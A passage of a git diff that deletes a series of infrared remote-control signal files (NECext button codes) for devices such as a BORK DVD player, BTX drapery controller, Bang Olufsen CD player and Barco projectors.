00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 03 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 04 00 00 00 -# -name: QPLAY -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 05 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 06 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 07 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 08 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 09 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 0A 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 0B 00 00 00 -# -name: SWITCH -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 0D 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 0E 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 0F 00 00 00 -# -name: SF -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 10 00 00 00 -# -name: EQ -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 11 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 12 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 13 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 15 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 16 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 17 00 00 00 -# -name: PS -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 18 00 00 00 -# -name: IS -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 19 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 1A 00 00 00 -# -name: WORD_NEXT -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 1B 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 40 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 41 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 42 00 00 00 -# -name: GOTO -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 43 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 44 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 45 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 46 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 47 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 48 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 49 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 4A 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 4B 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 4C 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 4D 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 4E 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 4F 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 50 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 51 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 52 00 00 00 -# -name: WORD_PREV -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 53 00 00 00 -# -name: PN -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 54 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 55 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 56 00 00 00 -# -name: APPLOUSE -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 57 00 00 00 -# -name: VOCAL -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 58 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BORK/Unknown_DV/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BORK/Unknown_DV/8,-1.ir deleted file mode 100644 index ef20026b8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BORK/Unknown_DV/8,-1.ir +++ /dev/null @@ -1,302 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 03 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 04 00 00 00 -# -name: X_KEY_0+ -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 05 00 00 00 -# -name: p/n -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 06 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 08 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 09 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0C 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0D 00 00 00 -# -name: a-b -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0E 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0F 00 00 00 -# -name: pic -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 10 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 11 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 12 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 14 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 15 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 16 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 17 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 18 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 19 00 00 00 -# -name: brain -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1A 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1B 00 00 00 -# -name: capture -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1C 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1D 00 00 00 -# -name: pbc -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1E 00 00 00 -# -name: usb -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1F 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 40 00 00 00 -# -name: programm -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 41 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 45 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 46 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 47 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 48 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 49 00 00 00 -# -name: fb -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4B 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4C 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4D 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4E 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4F 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 51 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 52 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 53 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 55 00 00 00 -# -name: step -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 56 00 00 00 -# -name: KEY_KEYBOARD -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 57 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 58 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5A 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/145,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/145,-1.ir deleted file mode 100644 index faedfb3d4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/145,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1_CLOSE -type: parsed -protocol: NECext -address: 91 00 00 00 -command: 6E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/146,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/146,-1.ir deleted file mode 100644 index da4df74e5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/146,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 2_CLOSE -type: parsed -protocol: NECext -address: 92 00 00 00 -command: 6D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/147,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/147,-1.ir deleted file mode 100644 index 5cf4711b3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/147,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 3_CLOSE -type: parsed -protocol: NECext -address: 93 00 00 00 -command: 6C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/148,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/148,-1.ir deleted file mode 100644 index ffe605b9a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/148,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 4_CLOSE -type: parsed -protocol: NECext -address: 94 00 00 00 -command: 6B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/193,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/193,-1.ir deleted file mode 100644 index 7983802a5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/193,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1_STOP -type: parsed -protocol: NECext -address: C1 00 00 00 -command: 3E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/194,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/194,-1.ir deleted file mode 100644 index fa41745d3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/194,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 2_STOP -type: parsed -protocol: NECext -address: C2 00 00 00 -command: 3D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/195,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/195,-1.ir deleted file mode 100644 index b0a623f27..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/195,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 3_STOP -type: parsed -protocol: NECext -address: C3 00 00 00 -command: 3C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/196,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/196,-1.ir deleted file mode 100644 index 31c8a8303..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/196,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 4_STOP -type: parsed -protocol: NECext -address: C4 00 00 00 -command: 3B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/81,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/81,-1.ir deleted file mode 100644 index 0798a1842..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/81,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1_OPEN -type: parsed -protocol: NECext -address: 51 00 00 00 -command: AE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/82,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/82,-1.ir deleted file mode 100644 index 386e6d4a1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/82,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 2_OPEN -type: parsed -protocol: NECext -address: 52 00 00 00 -command: AD 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/83,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/83,-1.ir deleted file mode 100644 index 89d3e5fee..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/83,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 3_OPEN -type: parsed -protocol: NECext -address: 53 00 00 00 -command: AC 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/84,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/84,-1.ir deleted file mode 100644 index 883b0c750..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/84,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 4_OPEN -type: parsed -protocol: NECext -address: 54 00 00 00 -command: AB 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bang Olufsen/CD Player/26,73.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bang Olufsen/CD Player/26,73.ir deleted file mode 100644 index 5ea290d05..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bang Olufsen/CD Player/26,73.ir +++ /dev/null @@ -1,38 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TRACK_- -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 30 00 00 00 -# -name: TRACK_+ -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 31 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 32 00 00 00 -# -name: SCAN_- -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 33 00 00 00 -# -name: SCAN_+ -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 34 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 38 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Barco/Unknown_barcoRC5/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Barco/Unknown_barcoRC5/0,-1.ir deleted file mode 100644 index 866ba3610..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Barco/Unknown_barcoRC5/0,-1.ir +++ /dev/null @@ -1,302 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: audio-mute -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: brightness+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: brightness- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: color+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: color- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: bass+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: bass- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: treble+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: treble- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: balance+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: balance- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: contrast+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: contrast- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: tint- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: tint+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 27 00 00 00 -# -name: autoimage -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2F 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 30 00 00 00 -# -name: phase+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 48 00 00 00 -# -name: phase- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 49 00 00 00 -# -name: sharpness+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4D 00 00 00 -# -name: sharpness -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4E 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 50 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 51 00 00 00 -# -name: ADJ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 53 00 00 00 -# -name: adress -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 54 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 55 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 56 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 57 00 00 00 -# -name: freeze -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5D 00 00 00 -# -name: KEY_F1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6B 00 00 00 -# -name: KEY_F2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6C 00 00 00 -# -name: KEY_F3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6D 00 00 00 -# -name: KEY_F4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6E 00 00 00 -# -name: KEY_F5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6F 00 00 00 -# -name: focus-zoom-shift -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 77 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Barco/Video Projector/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Barco/Video Projector/0,-1.ir deleted file mode 100644 index ad5d23a04..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Barco/Video Projector/0,-1.ir +++ /dev/null @@ -1,266 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: TEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: BRIGHTNESS_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: BRIGHTNESS_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: COLOR_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: COLOR_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: BASS_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: BASS_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: TREBLE_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: TREBLE_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: BALANCE_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: BALANCE_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: CONTRAST_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: CONTRAST_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: TINT_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: TINT_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 27 00 00 00 -# -name: ? -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2F 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 30 00 00 00 -# -name: PHASE_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 48 00 00 00 -# -name: PHASE_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 49 00 00 00 -# -name: SHARPNESS_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4D 00 00 00 -# -name: SHARPNESS_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4E 00 00 00 -# -name: ^ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 50 00 00 00 -# -name: V -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 51 00 00 00 -# -name: ADJUST -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 53 00 00 00 -# -name: < -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 55 00 00 00 -# -name: > -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 56 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 57 00 00 00 -# -name: * -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 77 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Barco/Video Projector/18,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Barco/Video Projector/18,-1.ir deleted file mode 100644 index 53ea84e7c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Barco/Video Projector/18,-1.ir +++ /dev/null @@ -1,254 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: UP -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 04 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 04 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 05 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 05 00 00 00 -# -name: > -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 06 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 06 00 00 00 -# -name: < -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 07 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 07 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 08 00 00 00 -# -name: ADJ -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 09 00 00 00 -# -name: ADJUST -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 09 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 0A 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 0A 00 00 00 -# -name: TEXT -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 0D 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 0E 00 00 00 -# -name: STANDBY -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 0E 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 0F 00 00 00 -# -name: 1 